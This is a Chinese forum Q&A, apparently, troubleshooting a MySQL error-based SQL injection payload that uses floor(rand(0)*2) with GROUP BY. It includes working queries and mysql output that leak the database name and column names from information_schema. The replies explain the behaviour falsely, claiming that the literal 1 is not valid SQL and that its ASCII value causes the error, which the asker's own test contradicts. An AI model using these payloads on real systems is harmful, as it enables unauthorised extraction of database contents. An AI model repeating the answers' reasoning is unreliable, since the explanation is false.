SQL报错注入语句问题

sql注入语句问题

想问一下为什么这个语句无法造成报错?如果我将第3行的group_concat(DISTINCT table_name)换成1就可以,想问问这是为什么?

    SELECT  COUNT(*),
        concat_ws('-',(
            SELECT  concat(0x7e,group_concat(DISTINCT table_name),0x7e,group_concat(column_name),0x7e)
            FROM information_schema.columns
            WHERE table_schema = database()
            ), FLOOR(rand(0)*2))as a
    FROM information_schema.tables
    GROUP BY  a

补充一下,上面说的“第3行的group_concat(DISTINCT table_name)换成1”,这里的1换成其他的合法的sql表达式也会返回报错,比如换成table_schema 、database() 等
如下:我改成了database(),就可以通过报错返回获取到子句查询的值

mysql> SELECT  COUNT(*),
    ->     concat_ws('-',(
    ->             SELECT  concat(0x7e,database(),0x7e,group_concat(column_name),0x7e)
    ->             FROM information_schema.columns
    ->             WHERE table_schema = database()
    ->             ), FLOOR(rand(0)*2))as a
    -> FROM information_schema.tables
    -> GROUP BY  a;
ERROR 1062 (23000): Duplicate entry '~security~id,email_id,id,referer,ip_address,id,uagent,ip_address' for key '<group_key>'
mysql>

0x7e这个ascii码代表的是~波浪线
而1作为ascii码没有对应的字符,肯定要报错呀

group_concat(DISTINCT table_name) 是合法的sql语句,它会将信息架构中的表名进行去重并连接成字符串。
而如果将其替换为1

SELECT  COUNT(*),
            concat_ws('-',(
                SELECT  concat(0x7e,1,0x7e,group_concat(column_name),0x7e)
                FROM information_schema.columns
                WHERE table_schema = database()
                ), FLOOR(rand(0)*2))as a
        FROM information_schema.tables
        GROUP BY  a

在内层SELECT语句中,1不是一个合法的sql表达式,所以会报错。
SQL语句在执行时,会按照顺序依次执行每个子句,当发现第一个语法错误时就会报错并停止执行。所以在您的第一个语句中,内层SELECT子句是合法的,执行时不会报错,而在第二个语句中,1不是合法的sql,所以在执行到这个子句时就会报错,并且停止执行外层查询。